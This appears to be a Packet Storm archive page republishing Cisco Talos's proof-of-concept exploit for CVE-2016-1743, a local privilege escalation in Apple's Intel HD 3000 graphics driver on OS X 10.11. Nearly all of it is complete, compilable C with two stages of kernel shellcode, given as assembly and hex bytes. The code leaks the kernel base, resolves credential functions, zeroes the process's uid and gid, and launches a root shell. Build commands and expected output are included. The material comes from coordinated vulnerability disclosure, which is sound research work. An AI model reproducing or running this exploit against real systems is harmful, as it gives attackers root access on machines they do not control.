what you don't know can hurt you

Apple Intel HD 3000 Graphics Driver 10.0.0 Privilege Escalation

Apple Intel HD 3000 Graphics Driver 10.0.0 Privilege Escalation
Posted Apr 8, 2016
Authored by Piotr Bania, Cisco Talos

Apple Intel HD 3000 graphics driver version 10.0.0 suffers from a local privilege escalation vulnerability.

tags | exploit, local
systems | apple
advisories | CVE-2016-1743
MD5 | ad4d4766639445f4f89f542b24e09759

Apple Intel HD 3000 Graphics Driver 10.0.0 Privilege Escalation

Change Mirror Download
/*

░▀█▀░█▀█░█░░░█▀█░█▀▀░░░█░█░█░█░█░░░█▀█░█▀▄░█▀▀░█░█░
░░█░░█▀█░█░░░█░█░▀▀█░░░▀▄▀░█░█░█░░░█░█░█░█░█▀▀░▀▄▀░
░░▀░░▀░▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀░▀▀▀░▀░▀░▀▀░░▀▀▀░░▀░░
T A L O S V U L N D E V

Proof-of-Concept Exploit
Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/
Snort rules: 37517, 37518
CVE-2016-1743

Author: Piotr Bania, Cisco Talos
Target: Apple Intel HD 3000 Graphics driver
Impact: Local Privilege Escalation (root)

Tested Configuration:
Apple Intel HD 3000 Graphics driver 10.0.0
Darwin Kernel Version 15.2.0
OSX 10.11.2

Compilation:
gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3

kudos:
qwertyoruiop (i've grabbed the lsym thing from you)


technical information (AppleIntelHD3000Graphics driver 10.0.0) :
...
__text:000000000001AA4E mov ecx, [rcx]
__text:000000000001AA50 add ecx, ecx
__text:000000000001AA52 sub eax, ecx
__text:000000000001AA54 cmp rbx, rax
__text:000000000001AA57 ja loc_1AC8C
__text:000000000001AA5D mov [rbp+var_54], esi
__text:000000000001AA60 mov rax, [rdi]
__text:000000000001AA63 mov esi, 168h
__text:000000000001AA68 call qword ptr [rax+980h] ; # WE CAN CONTROL THIS #


Expected output:

mac-mini:bug mini$ uname -a
Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64

mac-mini:bug mini$ ./TALOS-2016-0088_poc
----------------------------------------------------------------
APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11
by Piotr Bania / CISCO TALOS
----------------------------------------------------------------


Alloc: deallocating!
Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes
Alloc: vm_allocate ok, now vm_protect ...
Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling
Mapping the kernel
MapKernel: kernel mapped
Initializing service
InitService: Trying: Gen6Accelerator
InitService: service ok!
Commencing stage 1
Stage1: Copying the stage1 payload 0x00001000 - 0x00001071
Stage1: Setting up the RIP to 0x00001000
Stage1: Copying trigger data
Stage1: Making stage1 call
Stage1: leaked kernel address 0xffffff8021e00000
Stage1: kernel address leaked, success!
ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000)
ResolveApi: _current_proc = 0xffffff8022437a60
ResolveApi: _proc_ucred = 0xffffff80223a9af0
ResolveApi: _posix_cred_get = 0xffffff802237e780
ResolveApi: _chgproccnt = 0xffffff80223a8400
Commencing stage 2
Stage2: preparing the stage2 payload
Stage2: Copying the stage2 payload 0x00001000 - 0x00001071
Stage2: Setting up the RIP to 0x00001000
Stage2: Copying trigger data
Stage2: Making stage2 call
Stage2: success, got root!
Stage2: now executing shell
sh-3.2# whoami
root
sh-3.2#

*/


#include "import.h"

/**

defines

**/

#define MEM_SIZE 0x2000
#define PAYLOAD_MEM_START 0x1000
#define INIT_SIG 0x0210010100000008
#define OFFSET_PAYLOAD_EXEC 0x980
#define OFFSET_ROOM 64

#define RESOLVE_SYMBOL_MY(map, name) lsym_find_symbol(map, name) - base + KernelAddr


/**

stage 1 payload - get kernel address and put it to 0x1000

; memory space for kernel address

nop
nop
nop
nop
nop
nop
nop
nop

save_regs64


; get msr entry
mov rcx, 0C0000082h ; lstar
rdmsr ; MSR[ecx] --> edx:eax
shl rdx, 32
or rax, rdx

; find kernel addr - scan backwards
MAX_KERNEL_SCAN_SIZE equ 10000h
KERNEL_SIG equ 01000007FEEDFACFh
PAGE_SIZE equ 1000h


mov rcx, MAX_KERNEL_SCAN_SIZE
and rax, not 0FFFFFh
xor rdx, rdx
mov r8, KERNEL_SIG


scan_loop:
sub rax, PAGE_SIZE
dec rcx
jz scan_done

; is sig correct?
cmp qword [rax], r8
jnz scan_loop

mov rdx, rax

scan_done:

; store the addr - rdx kernel addr, 0 if not found
lea rcx, [shell_start]
mov qword [rcx], rdx

load_regs64

xor rax, rax
xor r15, r15

ret



**/

unsigned char stage1[113] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55,
0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32,
0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25,
0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00,
0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75,
0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F,
0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF,
0xC3
};


/**

stage 2 payload - escalate

jmp over_api_table


api_current_proc dq 0
api_proc_ucred dq 0
api_posix_cred_get dq 0
api_chgproccnt dq 0



over_api_table:
save_regs64

mov rax, qword [api_current_proc]
call rax
mov rdi, rax ; rdi = cur_proc


; system v abi - rdi first arg
mov rax, qword [api_proc_ucred]
call rax


; rax = cur_ucred
mov rdi, rax
mov rax, qword [api_posix_cred_get]
call rax

; rax = pcred
mov dword [rax], 0
mov dword [rax+8], 0

load_regs64

xor rax, rax
xor r15, r15

ret

**/


#define OFF_API_START 2
#define OFF_API_CURRENT_PROC OFF_API_START
#define OFF_API_PROC_UCRED OFF_API_CURRENT_PROC + 8
#define OFF_API_POSIX_CRED_GET OFF_API_PROC_UCRED + 8
#define OFF_API_CHGPROCCNT OFF_API_POSIX_CRED_GET + 8 // not used in this example


unsigned char stage2[111] = {
0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B,
0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF,
0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E,
0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3
};



/**

globals

**/

uint64_t mem;
io_connect_t conn;

uint64_t KernelAddr = 0;
lsym_map_t* MappingKernel = 0;

uint64_t api_current_proc = 0;
uint64_t api_proc_ucred = 0;
uint64_t api_posix_cred_get = 0;
uint64_t api_chgproccnt = 0;




/**

functions

**/



uint64_t Alloc(uint32_t addr, uint32_t sz)
{
mach_error_t k_error;

printf("Alloc: deallocating! \n");
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);

printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz);
k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);

if (k_error != KERN_SUCCESS)
{
printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
exit(-1);
}


printf("Alloc: vm_allocate ok, now vm_protect ...\n");

k_error = vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx

if (k_error != KERN_SUCCESS)
{
printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
exit(-1);
}

printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr);

while(sz--) *(char*)(addr+sz)=0;
return addr;
}


int MapKernel(void)
{

MappingKernel = lsym_map_file("/mach_kernel");
if (!MappingKernel || !MappingKernel->map)
{
MappingKernel = lsym_map_file("/System/Library/Kernels/kernel");
}

if (!MappingKernel || !MappingKernel->map)
{
printf("MapKernel: unable to map kernel, quiting \n");
return -1;
}


printf("MapKernel: kernel mapped \n");
return 1;
}



int ResolveApi(void)
{


uint64_t base = lsym_kernel_base(MappingKernel);

api_current_proc = RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc");
api_proc_ucred = RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred");
api_posix_cred_get = RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get");
api_chgproccnt = RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt");

printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base);
printf("ResolveApi: _current_proc = 0x%016llx \n", api_current_proc);
printf("ResolveApi: _proc_ucred = 0x%016llx \n", api_proc_ucred);
printf("ResolveApi: _posix_cred_get = 0x%016llx \n", api_posix_cred_get);
printf("ResolveApi: _chgproccnt = 0x%016llx \n", api_chgproccnt);

return 1;

}




int InitService(char *IoServiceName)
{
int type;
io_service_t service;
CFMutableDictionaryRef matching;
io_iterator_t iterator;

printf("InitService: Trying: %s \n", IoServiceName);

matching = IOServiceMatching(IoServiceName);

if( !matching)
{
printf("Initservice: IOServiceMatching() failed \n");
return -1;
}

if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS)
{
printf("InitService: IOServiceGetMatchingServices failed \n");
return -1;
}


service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL)
{
printf("InitService: IOIteratorNext failed \n");
return -1;
}


type = 0;
conn = MACH_PORT_NULL;
if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS)
{
printf("InitService: IOServiceOpen failed! \n");
return -1;
}

printf("InitService: service ok! \n");
return 1;
}



int Stage1(void)
{
unsigned char *p;
unsigned char *p_ptr;

kern_return_t k_error;

char UselessStruct[4096];
size_t UselessStructSize = 0x14;


p = (unsigned char*)mem;
p_ptr = p + OFFSET_ROOM;



printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1));

printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
*(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;


printf("Stage1: Copying trigger data \n");
*(uint64_t*)p_ptr = INIT_SIG;

printf("Stage1: Making stage1 call\n");
k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize);

KernelAddr = *(uint64_t*)PAYLOAD_MEM_START;
printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr);

if ((KernelAddr == 0) || (KernelAddr == 0x90909090))
{
printf("Stage1: fatal kernel address is wrong, exiting \n");
return -1;
}

printf("Stage1: kernel address leaked, success! \n");
return 1;
}


int Stage2(void)
{
int i;
unsigned char *p;
unsigned char *p_ptr;

kern_return_t k_error;

char UselessStruct[4096];
size_t UselessStructSize = 0x14;


p = (unsigned char*)mem;
p_ptr = p + OFFSET_ROOM;


printf("Stage2: preparing the stage2 payload \n");

unsigned char *t = (unsigned char*)&stage2;
*(uint64_t*)(t + OFF_API_CURRENT_PROC) = api_current_proc;
*(uint64_t*)(t + OFF_API_PROC_UCRED) = api_proc_ucred;
*(uint64_t*)(t + OFF_API_POSIX_CRED_GET) = api_posix_cred_get;
*(uint64_t*)(t + OFF_API_CHGPROCCNT) = api_chgproccnt;


printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2));

printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
*(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;


printf("Stage2: Copying trigger data \n");
*(uint64_t*)p_ptr = INIT_SIG;


printf("Stage2: Making stage2 call\n");
k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize);


setuid(0);
if (getuid() == 0)
{

printf("Stage2: success, got root! \n");
printf("Stage2: now executing shell \n");

system("/bin/sh");
exit(0);
}


printf("Stage2: failed! \n");
return -1;

}




int main(void)
{
printf(" ---------------------------------------------------------------- \n");
printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n");
printf(" by Piotr Bania / CISCO TALOS \n");
printf(" ---------------------------------------------------------------- \n\n\n");


IOServiceClose(0);
IOServiceOpen(0, 0, 0, 0);

// if this fails and we are done
mem = Alloc(0, MEM_SIZE);


printf("Mapping the kernel \n");

if (MapKernel() == -1)
return -1;

printf("Initializing service \n");

if (InitService("Gen6Accelerator") == -1)
return -1;

printf("Commencing stage 1 \n");

if (Stage1() == -1)
return -1;

if (ResolveApi() == -1)
return -1;

printf("Commencing stage 2 \n");

Stage2();


return 1;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    7 Files
  • 19
    Oct 19th
    1 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close